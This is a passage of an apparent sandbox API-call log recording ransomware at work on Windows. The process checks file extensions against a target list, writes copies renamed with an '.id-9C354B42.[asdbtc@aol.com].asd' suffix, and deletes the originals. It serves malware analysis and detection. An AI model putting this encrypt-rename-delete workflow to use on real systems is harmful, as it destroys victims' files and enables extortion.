returned 1 [0052.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.905] lstrlenW (lpString=".zip") returned 4 [0052.905] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.905] lstrlenW (lpString=".rar") returned 4 [0052.905] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.905] lstrlenW (lpString=".bz2") returned 4 [0052.905] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.905] lstrlenW (lpString=".7z") returned 3 [0052.905] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.905] lstrlenW (lpString=".dbf") returned 4 [0052.905] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.905] lstrlenW (lpString=".1cd") returned 4 [0052.905] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.905] lstrlenW (lpString=".jpg") returned 4 [0052.905] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.905] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0052.905] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.908] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=25234) returned 1 [0052.909] CloseHandle (hObject=0x170) returned 1 [0052.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0052.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.909] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.909] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.909] GetLastError () returned 0x0 [0052.909] ReadFile (in: hFile=0x170, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x6292, lpOverlapped=0x0) returned 1 [0052.911] WriteFile (in: hFile=0x210, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0052.913] ReadFile (in: hFile=0x170, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.913] WriteFile (in: hFile=0x210, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.913] SetEndOfFile (hFile=0x210) returned 1 [0052.913] CloseHandle (hObject=0x210) returned 1 [0052.913] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.913] SetEndOfFile (hFile=0x170) returned 1 [0052.914] CloseHandle (hObject=0x170) returned 1 [0052.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0052.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0052.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.914] lstrlenW (lpString=".doc") returned 4 [0052.915] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.915] lstrlenW (lpString=".docx") returned 5 [0052.915] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.915] lstrlenW (lpString=".pdf") returned 4 [0052.915] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.915] lstrlenW (lpString=".xls") returned 4 [0052.915] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.915] lstrlenW (lpString=".xlsx") returned 5 [0052.915] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.915] lstrlenW (lpString=".ppt") returned 4 [0052.915] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.915] lstrlenW (lpString=".zip") returned 4 [0052.915] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.915] lstrlenW (lpString=".rar") returned 4 [0052.915] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.915] lstrlenW (lpString=".bz2") returned 4 [0052.915] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.915] lstrlenW (lpString=".7z") returned 3 [0052.915] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.915] lstrlenW (lpString=".dbf") returned 4 [0052.915] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.915] lstrlenW (lpString=".1cd") returned 4 [0052.915] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.915] lstrlenW (lpString=".jpg") returned 4 [0052.915] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.915] lstrlenW (lpString=".doc") returned 4 [0052.916] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.916] lstrlenW (lpString=".docx") returned 5 [0052.916] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.916] lstrlenW (lpString=".pdf") returned 4 [0052.916] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.916] lstrlenW (lpString=".xls") returned 4 [0052.916] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.916] lstrlenW (lpString=".xlsx") returned 5 [0052.916] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.916] lstrlenW (lpString=".ppt") returned 4 [0052.916] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.916] lstrlenW (lpString=".zip") returned 4 [0052.916] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.916] lstrlenW (lpString=".rar") returned 4 [0052.916] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.916] lstrlenW (lpString=".bz2") returned 4 [0052.916] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.916] lstrlenW (lpString=".7z") returned 3 [0052.916] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.916] lstrlenW (lpString=".dbf") returned 4 [0052.916] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.916] lstrlenW (lpString=".1cd") returned 4 [0052.916] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0052.916] lstrlenW (lpString=".jpg") returned 4 [0052.916] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.916] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0052.917] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.917] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2985) returned 1 [0052.917] CloseHandle (hObject=0x170) returned 1 [0052.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0052.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.918] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.918] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.919] GetLastError () returned 0x0 [0052.919] ReadFile (in: hFile=0x170, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0xba9, lpOverlapped=0x0) returned 1 [0053.117] WriteFile (in: hFile=0x210, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0053.118] ReadFile (in: hFile=0x170, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0053.118] WriteFile (in: hFile=0x210, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.118] SetEndOfFile (hFile=0x210) returned 1 [0053.119] CloseHandle (hObject=0x210) returned 1 [0053.119] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.119] SetEndOfFile (hFile=0x170) returned 1 [0053.120] CloseHandle (hObject=0x170) returned 1 [0053.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.120] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0053.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.121] lstrlenW (lpString=".doc") returned 4 [0053.121] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.121] lstrlenW (lpString=".docx") returned 5 [0053.121] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.121] lstrlenW (lpString=".pdf") returned 4 [0053.121] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.121] lstrlenW (lpString=".xls") returned 4 [0053.121] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.121] lstrlenW (lpString=".xlsx") returned 5 [0053.121] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.121] lstrlenW (lpString=".ppt") returned 4 [0053.121] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.121] lstrlenW (lpString=".zip") returned 4 [0053.121] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.121] lstrlenW (lpString=".rar") returned 4 [0053.121] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.121] lstrlenW (lpString=".bz2") returned 4 [0053.122] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.122] lstrlenW (lpString=".7z") returned 3 [0053.122] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.122] lstrlenW (lpString=".dbf") returned 4 [0053.122] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.122] lstrlenW (lpString=".1cd") returned 4 [0053.122] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.122] lstrlenW (lpString=".jpg") returned 4 [0053.122] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.122] lstrlenW (lpString=".doc") returned 4 [0053.122] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.122] lstrlenW (lpString=".docx") returned 5 [0053.122] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.122] lstrlenW (lpString=".pdf") returned 4 [0053.122] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.122] lstrlenW (lpString=".xls") returned 4 [0053.122] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.122] lstrlenW (lpString=".xlsx") returned 5 [0053.122] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.122] lstrlenW (lpString=".ppt") returned 4 [0053.122] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.123] lstrlenW (lpString=".zip") returned 4 [0053.123] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.123] lstrlenW (lpString=".rar") returned 4 [0053.123] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.123] lstrlenW (lpString=".bz2") returned 4 [0053.123] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.123] lstrlenW (lpString=".7z") returned 3 [0053.123] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.123] lstrlenW (lpString=".dbf") returned 4 [0053.123] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.123] lstrlenW (lpString=".1cd") returned 4 [0053.123] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0053.123] lstrlenW (lpString=".jpg") returned 4 [0053.123] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.123] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0053.123] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.501] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=20627) returned 1 [0053.501] CloseHandle (hObject=0x1f4) returned 1 [0053.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0053.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.501] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.501] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.647] GetLastError () returned 0x0 [0053.648] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x5093, lpOverlapped=0x0) returned 1 [0053.659] WriteFile (in: hFile=0x21c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0053.660] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0053.660] WriteFile (in: hFile=0x21c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.660] SetEndOfFile (hFile=0x21c) returned 1 [0053.661] CloseHandle (hObject=0x21c) returned 1 [0053.661] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.661] SetEndOfFile (hFile=0x1f4) returned 1 [0053.662] CloseHandle (hObject=0x1f4) returned 1 [0053.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.662] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0053.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.662] lstrlenW (lpString=".doc") returned 4 [0053.662] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.662] lstrlenW (lpString=".docx") returned 5 [0053.662] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.662] lstrlenW (lpString=".pdf") returned 4 [0053.662] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.662] lstrlenW (lpString=".xls") returned 4 [0053.662] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.662] lstrlenW (lpString=".xlsx") returned 5 [0053.662] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.663] lstrlenW (lpString=".ppt") returned 4 [0053.663] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.663] lstrlenW (lpString=".zip") returned 4 [0053.663] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.663] lstrlenW (lpString=".rar") returned 4 [0053.663] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.663] lstrlenW (lpString=".bz2") returned 4 [0053.663] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.663] lstrlenW (lpString=".7z") returned 3 [0053.663] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.663] lstrlenW (lpString=".dbf") returned 4 [0053.663] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.663] lstrlenW (lpString=".1cd") returned 4 [0053.663] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.663] lstrlenW (lpString=".jpg") returned 4 [0053.663] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.663] lstrlenW (lpString=".doc") returned 4 [0053.663] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.663] lstrlenW (lpString=".docx") returned 5 [0053.663] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.663] lstrlenW (lpString=".pdf") returned 4 [0053.663] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.663] lstrlenW (lpString=".xls") returned 4 [0053.663] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.663] lstrlenW (lpString=".xlsx") returned 5 [0053.663] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.663] lstrlenW (lpString=".ppt") returned 